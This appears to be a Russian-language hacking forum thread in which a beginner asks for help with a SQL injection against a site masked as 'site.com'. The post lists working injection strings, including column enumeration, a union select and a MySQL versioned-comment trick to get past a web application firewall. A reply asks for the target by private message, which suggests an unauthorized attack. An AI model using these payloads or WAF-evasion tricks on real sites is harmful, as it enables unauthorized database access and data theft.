SQLi нужна помощь

Discussion in 'Песочница' started by ClayFox, 26 Mar 2017.

  1. ClayFox

    ClayFox New Member

    Joined:
    18 Aug 2015
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    Всем привет, нужна ваша помощь как так я только учу SQLi, наткнулся с такой проблемой и не знаю как обойти ))

    http://site.com/index.php?lang=en' order by 4 --+ -> Unknown column '4' in 'order clause'
    http://site.com/index.php?lang=en' order by 3 --+ -> OK
    ---
    http://site.com/index.php?lang=-en' union select 1,2,3 --+ -> WAF
    http://site.com/index.php?lang=-en' /*!50000UNION*/ SELECT 1,2,3--+ ->

    [​IMG]

    первый раз вижу такую ошибку, если можете помогите пожалуйста
     
  2. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Таргет в лс. Ошибка говорит о неизвестном столбце. Подозреваю что в левой таблице подзапрос, который зависит от результата правого.
     
    _________________________
    ClayFox likes this.
Loading...